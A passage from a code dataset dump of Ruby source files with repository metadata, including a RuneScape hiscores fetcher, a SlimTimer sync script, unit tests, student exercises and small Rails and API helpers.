parse_fields\n\n modes =\n if account_type\n # Retrieve a `modes` list of hierarchy to check total exps in order.\n # For UIM: [UIM, IM, Reg]\n # For HCIM: [HCIM, IM, Reg]\n # For IM: [IM, Reg]\n # For Reg: [Reg]\n case account_type\n when *REG_MODE\n REG_MODE\n when *IRONMAN_MODES\n ancestors = Player.account_type_ancestors[account_type.to_sym]\n [account_type] + ancestors\n else\n raise ArgumentError, 'account type not recognized'\n end\n else\n ALL_MODES\n end\n\n stats = []\n threads = []\n stats_mutex = Mutex.new\n uri_per_mode = modes.map { |mode| api_url(mode, player_name) }\n\n uri_per_mode.each_with_index do |uri, mode_idx|\n threads << Thread.new(uri, mode_idx, stats) do |uri, mode_idx, stats|\n # Raise exceptions in main thread so they can be caught.\n Thread.current.abort_on_exception = true\n\n res = fetch(uri)\n\n # No hiscores data for this mode, skip.\n next unless res\n\n data = res.split(\"\\n\")\n parsed_data = parse_stats(data, parse_fields)\n stats_mutex.synchronize { stats << [parsed_data, mode_idx] }\n end\n end\n\n threads.each(&:join)\n return if stats.empty?\n\n # Find the mode with the highest amount of total exp.\n actual_stats, mode_idx = stats.sort_by do |mode_stats_idx|\n mode_stats, idx = mode_stats_idx\n [-mode_stats['overall_xp'], idx]\n end.first\n\n [actual_stats, modes[mode_idx]]\n end\n\n def hcim_dead?(player_name)\n uri = table_url(\"hcim\", player_name)\n\n begin\n content = fetch(uri)\n rescue SocketError, Net::ReadTimeout\n Rails.logger.warn \"#{player_name}'s HCIM hiscores retrieval failed\"\n return false\n end\n\n return false unless content\n\n page = Nokogiri::HTML(content)\n page.xpath('//*[@id=\"contentHiscores\"]/table/tbody/tr[contains(@class, \"--dead\")]/td/a/span')\n .first\n .present?\n end\n\n def get_registered_player_name(account_type, player_name)\n uri = table_url(account_type, player_name)\n\n begin\n content = fetch(uri)\n rescue SocketError, Net::ReadTimeout\n Rails.logger.warn \"#{player_name}'s hiscores retrieval failed\"\n return false\n end\n\n page = Nokogiri::HTML(content)\n el = page.xpath('//*[@id=\"contentHiscores\"]/table/tbody/tr/td/a/span')\n .first\n return el.inner_html.force_encoding('utf-8') if el\n return player_name # player is unranked for overall level\n\n false\n end\n\n private\n\n def url_friendly_name(player_name)\n ERB::Util.url_encode(player_name).gsub(/(%C2)*%A0/, '_')\n end\n\n def api_url(account_type, player_name)\n unless account_type.in? Player.account_types\n raise ArgumentError, 'account type not recognized'\n end\n\n path_suffix = {\n HCIM: '_hardcore_ironman',\n UIM: '_ultimate',\n IM: '_ironman'\n }\n\n URI.join(\n 'https://services.runescape.com',\n \"m=hiscore_oldschool#{path_suffix[account_type.to_sym]}/index_lite.ws\",\n \"?player=#{url_friendly_name(player_name)}\"\n )\n end\n\n def table_url(account_type, player_name)\n path = 'hiscore_oldschool'\n\n path_suffix = {\n HCIM: '_hardcore_ironman',\n UIM: '_ultimate',\n IM: '_ironman'\n }\n\n URI.join(\n 'https://secure.runescape.com',\n \"m=#{path}#{path_suffix[account_type.to_sym]}/overall.ws\",\n \"?user=#{url_friendly_name(player_name)}\"\n )\n end\n\n def parse_stats(data, restrict_fields = [])\n stats = { potential_p2p: 0 }\n\n fields = F2POSRSRanks::Application.config.skills.map.with_index\n\n # Select field names and indices that need to be parsed in compliance\n # with optional whitelist from `restrict_fields`.\n if restrict_fields.any?\n fields = fields.select { |f, i| f.in? restrict_fields }\n end\n\n fields.each do |skill, skill_idx|\n rank, lvl, xp = data[skill_idx].split(',').map { |x| [x.to_i, 0].max }\n rank = rank\n lvl = lvl\n xp = xp\n\n if rank.nil? or lvl.nil?\n raise ArgumentError, \"invalid API stats\"\n end\n\n case skill\n when 'p2p'\n stats[:potential_p2p] += xp\n when 'p2p_minigame'\n stats[:potential_p2p] += lvl\n when 'lms'\n stats[:lms_score] = lvl\n stats[:lms_rank] = rank\n when 'obor_kc'\n stats[:obor_kc] = lvl\n stats[:obor_kc_rank] = rank\n when 'bryophyta_kc'\n stats[:bryo_kc] = lvl\n stats[:bryo_kc_rank] = rank\n when 'clues_all', 'clues_beginner'\n stats[skill] = lvl\n stats[\"#{skill}_rank\"] = rank\n when 'hitpoints'\n stats[\"#{skill}_lvl\"] = [lvl, 10].max\n stats[\"#{skill}_xp\"] = [xp, 1154].max\n else\n stats[\"#{skill}_lvl\"] = lvl\n stats[\"#{skill}_xp\"] = xp\n stats[\"#{skill}_rank\"] = rank\n end\n end\n\n stats\n end\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1123,"cells":{"blob_id":{"kind":"string","value":"5232c1adb224409ac3484e6e6a6f1dc2ce3d5305"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"RaphaelwHuang/Set-Game"},"path":{"kind":"string","value":"/testing/test_deck.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":1046,"string":"1,046"},"score":{"kind":"number","value":3.078125,"string":"3.078125"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"require_relative '../board'\nrequire \"test/unit\"\nclass TestDeck < Test::Unit::TestCase\n # Author: Sunny Patel - 2/5\n def test_deck_init\n assert_nothing_raised {Deck.new}\n end\n\n # Author: Sunny Patel - 2/5\n def test_deck_draw_fullDeck\n deck = Deck.new\n assert_nothing_raised {deck.draw}\n end\n\n # Author: Sunny Patel - 2/5\n def test_deck_draw_emptyDeck\n deck = Deck.new\n assert_nothing_raised {81.times {deck.draw}}\n end\n\n # Author: Sunny Patel - 2/5\n def test_deck_size_fullDeck\n deck = Deck.new\n assert_equal(81, deck.size, \"Expected size of 81.\")\n end\n\n # Author: Sunny Patel - 2/5\n def test_deck_size_emptyDeck\n deck = Deck.new\n 81.times {deck.draw}\n assert_equal(0, deck.size, \"Expected size of 81.\")\n end\n\n # Author: Sunny Patel - 2/5\n def test_deck_display_size_fullDeck\n print \"Expected size of 81: Found \"\n Deck.new.display_size\n end\n\n # Author: Sunny Patel - 2/5\n def test_deck_display_size_emptyDeck\n deck = Deck.new\n 81.times {deck.draw}\n print \"Expected size of 0: Found \"\n deck.display_size\n end\n\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1124,"cells":{"blob_id":{"kind":"string","value":"5b97fa7c5a7f367badaff654e3566525e71c6ff6"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"inem/lazibi"},"path":{"kind":"string","value":"/lib/filter/optional_end_filter.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":3157,"string":"3,157"},"score":{"kind":"number","value":2.515625,"string":"2.515625"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"text":{"kind":"string","value":"require 'filter_base'\n\nmodule Lazibi\n module Filter\n class OptionalEnd < FilterBase\n\n def up( source )\n rb = source\n py = []\n lines = rb.split(\"\\n\")\n lines.each_index do |index|\n l = lines[index]\n if l.strip =~ /^end$/\n next\n end\n l = remove_colon_at_end(l)\n\n s = l\n if comment_at_end(l)\n s = s.sub(/(\\s*;\\s*end*\\s*)(#.*)/, ' \\2')\n s = s.sub(/(\\s+end*\\s*)(#.*)/, ' \\2')\n else\n s = s.sub(/\\s+end\\s*$/, '')\n s = remove_colon_at_end(s)\n end\n\n py << s\n end\n\n py.join(\"\\n\")\n end\n\n\n def remove_colon_at_end(l)\n if comment_at_end(l)\n l.sub /(\\s*;\\s*)(#.*)/, ' \\2'\n else\n l.sub /;*$/, ''\n end\n end\n\n def down( source )\n content = source\n return '' if content.strip == ''\n lines = content.split(\"\\n\")\n first_line = lines.first.strip\n return lines[1..-1].join(\"\\n\") if first_line == '#skip_parse'\n insert_end content\n end\n\n def insert_end( content )\n @lines = content.split(\"\\n\")\n progress = 0\n while progress < @lines.size\n lines = @lines[progress..-1]\n lines.each_index do |index|\n l = lines[index]\n safe_l = clean_block(clean_line(get_rest(l)))\n if start_anchor? safe_l\n relative_index_for_end = find_end( lines[index..-1], get_indent(l))\n unless relative_index_for_end\n progress += 1\n break\n end\n index_for_end = relative_index_for_end + index\n\n if relative_index_for_end == 0 && !comment_at_end(l)\n #l = lines[index_for_end]\n lines[index_for_end] = lines[index_for_end].rstrip + '; end'\n else\n lines[index_for_end] = lines[index_for_end] + \"\\n\" + ' ' * get_indent(l) + \"end\"\n end\n head = @lines[0...progress]\n tail = lines[index..-1].join(\"\\n\").split(\"\\n\")\n\n @lines = head + tail\n\n\n progress += 1\n break\n end\n progress += 1\n end\n end\n\n result = @lines.join(\"\\n\")\n end\n\n def find_end( lines, indent )\n return 0 if lines.size == 1\n\n anchor = 0\n\n lines = lines[1..-1]\n lines.each_index do |i|\n l = lines[i]\n next if l.strip == ''\n if l.strip =~ /^#/\n if get_indent(l) > indent\n anchor = i + 1\n end\n next\n end\n return anchor if get_indent(l) < indent\n if get_indent(l) == indent\n rest = get_rest l\n if start_anchor? rest\n return anchor\n elsif end_anchor? rest\n return false\n elsif middle_anchor? rest\n anchor = i + 1\n next\n else\n return anchor\n end\n end\n anchor = i + 1\n end\n return anchor\n end\n end\n end\nend"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1125,"cells":{"blob_id":{"kind":"string","value":"3fc5bb8a558ac5c7f685311d657be6323dbdf162"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"BearingMe/exercicios-CeV"},"path":{"kind":"string","value":"/exs/mundo_1/ruby/025.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":299,"string":"299"},"score":{"kind":"number","value":3.890625,"string":"3.890625"},"int_score":{"kind":"number","value":4,"string":"4"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"text":{"kind":"string","value":"=begin\nDesafio 025\n\nProblema: Crie um programa que leia o nome de uma pessoa e diga se ela tem \"SILVA\" no nome.\n\nResolução do problema:\n=end\n\nprint\"Digite seu nome: \"\nn = gets.chomp.upcase\n\nif n.index('SILVA') != nil\n\tputs\"Você tem Silva no nome.\" \nelse\n\tputs\"Você não tem Silva no nome.\"\nend\n\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1126,"cells":{"blob_id":{"kind":"string","value":"f955458c825cc19d94ab601d9d4a808ecd2db05e"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"anibal/dashboard"},"path":{"kind":"string","value":"/script/update_slimtimer.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":5019,"string":"5,019"},"score":{"kind":"number","value":2.515625,"string":"2.515625"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"text":{"kind":"string","value":"#!/usr/bin/env ruby\n\nrequire 'rubygems'\nrequire 'optparse'\nrequire 'rdoc/usage'\nrequire 'logger'\nrequire 'pp'\n\ndef quit_with_usage(opts)\n STDERR.puts opts\n exit 1\nend\n\n@options = {}\nOptionParser.new do |opts|\n opts.banner = \"Usage: #{File.basename($0)} [options]\"\n opts.on(\"-l\", \"--logfile FILE\", \"Log to FILE (default STDOUT)\") do |l|\n @options[:log] = l\n end\n opts.on(\"-e\", \"--environment SINATRA_ENV\", \"Sinatra environment (default development)\") do |e|\n @options[:environment] = e\n end\n opts.on_tail(\"-h\", \"--help\", \"Show this message\") do\n quit_with_usage(opts)\n end\n args = opts.parse!(ARGV) rescue begin\n STDERR.puts \"#{$!}\\n\"\n quit_with_usage(opts)\n end\nend\n\nrequire 'sinatra'\n\nset :environment, @options[:environment] || ENV['SINATRA_ENV'] || 'development'\ndisable :run\n\ndef log\n @log ||= begin\n log = Logger.new((@options[:log] || STDOUT))\n log.datetime_format = \"%Y-%m-%d %H:%M:%S\"\n log.level = Logger::INFO\n log\n end\nend\n\nrequire File.join(File.dirname(__FILE__), '../dashboard')\nrequire File.join(File.dirname(__FILE__), '../lib/slimtimer_api')\n\nFULL_DATE_TIME = \"%F %T\"\nONE_HOUR = 1 * 60 * 60\nONE_DAY = 24 * ONE_HOUR\nTWO_WEEKS = 2 * 7 * ONE_DAY\n\nMAX_TIMEOUTS = 5\n\nLAST_RUN_FILE = File.join(File.dirname(__FILE__), \"../log/last_run\")\n\n# Runs a given block, handling timeouts\n# It will retry the block up to _max_timeouts_ times.\n# If max_timeouts is exceeded, it'll spit out the given _task_ to stderr,\n# and exit the script with an error code.\ndef handle_timeouts(max_timeouts, task)\n timeouts = 0\n begin\n yield\n rescue Timeout::Error\n timeouts += 1\n if timeouts > MAX_TIMEOUTS\n log.fatal \"Exceeded #{MAX_TIMEOUTS} timeouts on slimtimer during:\\n #{task}\"\n raise \"SlimTimer timed out #{MAX_TIMEOUTS} times, so we gave up.\"\n else\n log.debug \"SlimTimer timed out (times: #{timeouts})\"\n retry\n end\n end\nend\n\n# Fetches all records for the given entity.\n# Slimtimer has a default limits of records that are returned.\n# The solution is to paginate through the results.\n# http://slimtimer.com/help/api\ndef fetch_with_pagination(connection, entity, per_page)\n offset = 0\n records = []\n\n begin\n set = handle_timeouts(MAX_TIMEOUTS, \"loading tasks (offset: #{offset})\") { connection.send(entity, offset, \"yes\", \"owner,coworker,reporter\") }\n\n records += set\n offset += per_page\n end until set.empty?\n\n records\nend\n\ndef run_now?\n run_now = last_run.nil? ||\n ( Time.now > last_run + 24 * ONE_HOUR ) ||\n (( Time.now > last_run + 18 * ONE_HOUR ) && ( Time.now.hour <= 4 ))\n if !run_now\n log.info \"Called, but decided not to do anything\"\n end\n run_now\nend\n\ndef last_run\n if File.exist?(LAST_RUN_FILE)\n File.mtime(LAST_RUN_FILE)\n else\n log.debug \"#{LAST_RUN_FILE} didn't exist\"\n nil\n end\nend\n\ndef ran!\n FileUtils.touch(LAST_RUN_FILE)\n log.debug \"Completed run and touched #{LAST_RUN_FILE}\"\n log.debug \"---\"\n true\nend\n\nexit 0 unless run_now?\n\nbegin\n st = SlimtimerApi.new(SLIMTIMER_APIKEY, SLIMTIMER_GOD, SLIMTIMER_USERS[SLIMTIMER_GOD])\n log.info \" Slimtimer connected as user id #{st.user_id}\"\n\n # Load all tasks associated with the Slimtimer God\n log.info \" Loading tasks\"\n tasks = fetch_with_pagination(st, :tasks, 50)\n log.info \" Got #{tasks.size} tasks; updating\"\n SlimtimerTask.update(tasks)\n\n SLIMTIMER_USERS.each do |email, password|\n log.info \"Loading slimtimer data for #{email}\"\n st = SlimtimerApi.new(SLIMTIMER_APIKEY, email, password)\n log.info \" Slimtimer connected as user id #{st.user_id}\"\n\n log.info \" Loading db user\"\n u = SlimtimerUser.get(st.user_id)\n if u.nil?\n log.info \" Building new user\"\n u = SlimtimerUser.new\n u.id = st.user_id\n\n owners = tasks.map { |t| t[\"owners\"][\"person\"] }.uniq\n person = owners.find { |o| o[\"user_id\"] == u.id }\n\n log.info \" Found person in one of their tasks:\"\n log.info \" '#{person['name']}'\"\n\n u.name = person['name']\n u.email = person['email']\n u.save\n end\n\n last_entry = u.time_entries.first(:order => [:end_time.desc])\n start_range = last_entry ? last_entry.end_time - TWO_WEEKS : Time.local(2010, 1, 1)\n end_range = [start_range + ONE_DAY, Time.now].min\n\n failed = 0\n until end_range >= Time.now\n handle_timeouts(MAX_TIMEOUTS, \"retrieving time entries for #{email} on #{start_range}\") do\n log.info \" Loading time entries from #{start_range} to #{end_range}\"\n entries = st.time_entries(start_range.strftime(FULL_DATE_TIME),\n end_range.strftime(FULL_DATE_TIME))\n log.info \" Got #{entries.size} entries\"\n u.update_time_entries(entries)\n\n start_range = end_range\n end_range = start_range + 24 * 60 * 60\n end\n end\n end\nrescue Interrupt\n log.info \"Interrupted\"\n log.info \"---\"\n exit 1\nrescue Exception => e\n log.info e\n raise if (Time.now > last_run + 40 * ONE_HOUR)\nelse\n ran!\n exit 0\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1127,"cells":{"blob_id":{"kind":"string","value":"a9e36dab08512b7301b1855573c836f7d9bacb57"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"RodrigoRGRB/Codewars"},"path":{"kind":"string","value":"/ucoder/1030.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":1350,"string":"1,350"},"score":{"kind":"number","value":2.921875,"string":"2.921875"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"entrada = gets.split\nqfita = entrada[0].to_i\nqtd = entrada[1].to_i\nfita = []\ndias = []\n\nfor t in (0...qfita)\n fita << 0\nend\n\ndef teste(posicao, tamanho, fita)\n anterior = posicao - 1\n atual = posicao\n proxima = posicao + 1\n puts \"\\n\\n\\n\\n\"\n if anterior < 0\n fita.insert((proxima - 1), 1)\n fita.delete_at(proxima)\n fita.insert((atual - 1), 1)\n fita.delete_at(atual)\n\n elsif proxima > tamanho\n fita.insert((atual - 1), 1)\n fita.delete_at(atual)\n\n fita.insert((anterior - 1), 1)\n fita.delete_at(anterior)\n else\n fita.insert((atual - 1), 1)\n fita.delete_at(atual)\n\n fita.insert((anterior - 1), 1)\n fita.delete_at(anterior)\n\n fita.insert((proxima - 1), 1)\n fita.delete_at(proxima)\n end\n fita\nend\n\n#inicial\nis = gets.split\nis.map do |i| \n i.to_i\n fita.insert((i.to_i - 1), 1)\n fita.delete_at(i.to_i)\nend\n\nis = is.map do |i| \n i.to_i\nend\n\nteste = 1\ndef atualiza sujo, antigo\n antigo.each do |i|\n anterior = i - 1\n proximo = i + 1\n sujo << anterior\n sujo << proximo\n end\n print sujo\n sujo\nend\n##dias\nwhile fita.include?0\n is = atualiza is, is\n\n is.each do |i|\n fita = teste(i.to_i, fita.length, fita)\n end\n\n print \"\\n #{is}\"\n print \"\\nfita no dia #{teste} fita = #{fita}\"\n\n teste+=1\n break\nend\n\nprint fita\nprint fita.length\nprint \"\\n dias #{teste}\"\n=begin\n13 3\n2 6 13\n=end\n\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1128,"cells":{"blob_id":{"kind":"string","value":"d8f879897f026d25e18cc6bede3ea3d8fc9f0682"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"patmaddox/21-day-challenge"},"path":{"kind":"string","value":"/2_adventures/001/jbrains/11/langtons_ant_ui.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":1768,"string":"1,768"},"score":{"kind":"number","value":2.796875,"string":"2.796875"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"require \"gtk2\"\n\nclass LangtonsAntWalkGridSquare < Gtk::Frame\n attr_accessor :grid_square_model\n\n # grid_square_model (can't be called \"model\", because Gtk::Frame uses that) must support:\n # add_listener(listener)\n # color\n def self.with_model(model)\n self.new(model.color).tap { |view|\n view.grid_square_model = model\n model.add_listener(view)\n }\n end\n\n def initialize(color)\n super()\n # It's like a border... until I figure out how to draw a border.\n self.modify_bg(Gtk::STATE_NORMAL, Gdk::Color.parse(\"black\"))\n # The area that actually changes color.\n @interior = Gtk::DrawingArea.new.tap { |area| \n area.modify_bg(Gtk::STATE_NORMAL, Gdk::Color.parse(color.to_s)) \n }\n self.add(@interior)\n end\n\n def self.white\n self.new(:white)\n end\n\n def color_yourself(color)\n @interior.modify_bg(Gtk::STATE_NORMAL, Gdk::Color.parse(color.to_s))\n end\n\n def on_flip(color)\n puts \"on_flip(#{color})\"\n self.color_yourself(color)\n end\nend\n\nclass LangtonsAntWalkGridPanel < Gtk::Table\n attr_reader :squares\n\n def initialize\n @rows = @columns = 3\n\n # true -> all cells the same size\n super(@rows, @columns, true)\n\n @squares = []\n @rows.times do |x|\n @squares.push([])\n @columns.times do |y|\n square = LangtonsAntWalkGridSquare.white\n @squares[x][y] = square\n self.attach_defaults(square, x, x+1, y, y+1)\n end\n end\n end\nend\n\nclass LangtonsAntWalkMainWindow < Gtk::Window\n attr_reader :grid_panel\n\n def initialize\n super\n\n set_title(\"Langton's Ant\")\n\n signal_connect(\"destroy\") do\n Gtk.main_quit\n end\n\n self.set_default_size(600, 600)\n\n @grid_panel = LangtonsAntWalkGridPanel.new\n self.add(@grid_panel)\n\n self.show_all()\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1129,"cells":{"blob_id":{"kind":"string","value":"813249d7006df0cacf739236c0ab4ed5a109399a"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"sooyang/algo"},"path":{"kind":"string","value":"/merge_sort.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":765,"string":"765"},"score":{"kind":"number","value":3.875,"string":"3.875"},"int_score":{"kind":"number","value":4,"string":"4"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"# Chapter 2\n\ndef merge(array, p, q, r)\n left = array[p..q] \n right = array[q+1..r] \n i = 0 # left array index\n j = 0 # right array index\n k = p # main array \n while i < left.length && j < right.length\n if left[i] < right[j]\n array[k] = left[i] \n i += 1\n else\n array[k] = right[j]\n j += 1 \n end\n k += 1\n end\n if j == right.length\n array[k..r+1] = left[i..]\n end\n print array.to_a\nend\n\ndef merge_sort(array, p , r)\n if p < r\n q = (p + r) / 2\n merge_sort(array, p, q)\n merge_sort(array, q + 1, r)\n merge(array, p, q, r)\n end\nend\n\nitems = [2, 4, 5, 7, 1, 2, 3, 6]\n#merge(items, 0, 3, 7)\nmerge_sort(items, 0, (items.length-1))"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1130,"cells":{"blob_id":{"kind":"string","value":"ba7f9afb194e9e5c9950e42631fcb7c5485d87cf"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"palladius/riclife"},"path":{"kind":"string","value":"/app/helpers/tags_helper.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":1172,"string":"1,172"},"score":{"kind":"number","value":2.546875,"string":"2.546875"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"module TagsHelper\n\n def sample_tags\n sminuzza_tags 'dublin bologna riccardo gnocca connector goliardia friend sex love gnocca family son spouse imelda_may' \n end\n \n ### Use partial \"tags/link\" , :tags => ARRAY\n \n # restituisce un array... '\n def sminuzza_tags(str)\n return [] unless str\n str.split(/[ ,]/).map{|tag| '' + tag.downcase }.select{|tag| tag.length > 1 }.sort.uniq rescue [\"Execption::SminuzzaTag\", \"#{$!}\" ]\n end\n \n def render_tags(obj)\n render :partial => \"tags/link\", :locals => { :tags => obj.tags }, :class => 'tag'\n end\n \n # i.e., Dublin, 14\n def render_tag(tag,cardinality)\n tagdebug = false\n size = (Math.log(cardinality) * 10).to_i # logarithimc o non se ne esce! :)\n fontsize = 50 + size * 2 # percentage: 100 = equal\n visualized_tag = tag.downcase.gsub('_',' ') # renders '_' as spaces...\n title = 'Tag ' + tag.downcase + \" (CARD=#{cardinality}, size//fontsize=#{size}//#{fontsize})\"\n visualized_tag += \" (#{cardinality})\" if tagdebug\n fontstyle = \"font-size: #{fontsize}%;\"\n link_to(\"#{visualized_tag}\", \"/tags/#{tag}\") \n end\n\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1131,"cells":{"blob_id":{"kind":"string","value":"736321a45b645afd625f47e7bafc86effff081a4"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"Proffard/vimeo_rails"},"path":{"kind":"string","value":"/lib/vimeo/categories.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":1026,"string":"1,026"},"score":{"kind":"number","value":2.546875,"string":"2.546875"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"text":{"kind":"string","value":"module Vimeo\n class Categories < Vimeo::Base\n\n # Get a list of the top level categories. GET #\n\n def self.find_all\n get('/categories')\n end\n\n # Get a category. GET #\n #\n # category = category name\n\n def self.search(category)\n get(\"/categories/#{category}\")\n end\n\n ##################### Channels ####################\n\n # Get a list of Channels related to a category. GET #\n #\n # category = category name\n\n def self.related_channels(category)\n get(\"/categories/#{category}/channels\")\n end\n\n ##################### Groups ####################\n\n # Get a list of Groups related to a category. GET #\n #\n # category = category name\n\n def self.related_groups(category)\n get(\"/categories/#{category}/groups\")\n end\n\n ##################### Videos ####################\n\n # Get a list of videos related to a category. GET #\n #\n # category = category name\n\n def self.videos(category)\n get(\"/categories/#{category}/videos\")\n end\n end\nend"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1132,"cells":{"blob_id":{"kind":"string","value":"9907791c98ca759a9b6768a2f9654bc8e4e39ab5"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"ZeusLimited/ksa_copy"},"path":{"kind":"string","value":"/app/models/concerns/arm_minenergo.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":809,"string":"809"},"score":{"kind":"number","value":2.578125,"string":"2.578125"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"module ArmMinenergo\n extend ActiveSupport::Concern\n include Constants\n\n class_methods do\n def to_arm_thousand(val)\n return 0 if val.nil?\n (val.to_f / 1000.0).round(3)\n end\n end\n\n private\n\n def default_value(type)\n [:float, :integer].include?(type) ? 0 : nil\n end\n\n def reject_special_symbols(element)\n element.to_s.gsub(/[:=()]/, ':' => ' ', '=' => ' ', '(' => '[', ')' => ']')\n end\n\n def add_line(index, elements)\n \"(#{index}):::::::#{elements}:\"\n end\n\n def get_additional_info(par1, par2)\n \"#{par1}:#{par2}::::0:0:0:0:::::0::0:::0:0::0::0:0:0:0:0:0:0::0:0:0:0:::0:::::::::\"\n end\n\n def get_user_info(user_id)\n return unless user_id.present?\n u = User.find user_id\n [u.fio_full, u.user_job, reject_special_symbols(u.phone), u.email, nil].join(':')\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1133,"cells":{"blob_id":{"kind":"string","value":"ce74f452e3b37644d2c235e7ffd9185458940a4a"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"ryouyatanaka/bowling"},"path":{"kind":"string","value":"/lib/bowling.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":1273,"string":"1,273"},"score":{"kind":"number","value":3.609375,"string":"3.609375"},"int_score":{"kind":"number","value":4,"string":"4"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"class Bowling\n def initialize \n @scores = [] \n @index = 0\n @frame = 1\n @total = 0\n @frame_scores = []\n end\n \n def add_score(pins)\n @scores << pins\n end\n \n def total_score\n @total\n end\n \n def calc_score\n while @frame <= 10 do\n pin1 = @scores[@index]\n pin2 = @scores[@index+1] if @index+1 <= @scores.size\n pin3 = @scores[@index+2] if @index+2 <= @scores.size \n #ストライクの処理\n if strike?(pin1) then\n @total += pin1 + pin2.to_i + pin3.to_i\n @index += 1\n #p @total\n #ここまで \n else\n @total += pin1 + pin2.to_i\n @total += pin3.to_i if spare?(pin1,pin2) \n @index += 2\n end\n @frame_scores << @total\n @frame += 1\n #p \"frame: #{@frame-1} total: #{@total}\"\n pin2 = 0\n pin3 = 0\n end\n #p @frame\n #p @frame_scores\n end\n \n def frame_score(index)\n @frame_scores[index-1]\n end\n \n def spare?(pin1,pin2)\n pin1 + pin2.to_i == 10\n end\n \n def strike?(pin1)\n pin1 == 10\n end\nend"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1134,"cells":{"blob_id":{"kind":"string","value":"c851ce151e6d0b3e37d5fca7e60b8e54bd145fb7"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"jmennick/cornDog"},"path":{"kind":"string","value":"/app/formatters/time_value_formatter.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":299,"string":"299"},"score":{"kind":"number","value":2.546875,"string":"2.546875"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"class TimeValueFormatter < JSONAPI::ValueFormatter\n FORMAT='%m/%d/%Y %I:%M:%S%p'\n\n class << self\n def format(raw_value)\n super(raw_value.to_time.strftime(FORMAT))\n end\n\n def unformat(value)\n # super(Date.strptime(value, FORMAT))\n super(Time.parse(value))\n end\n 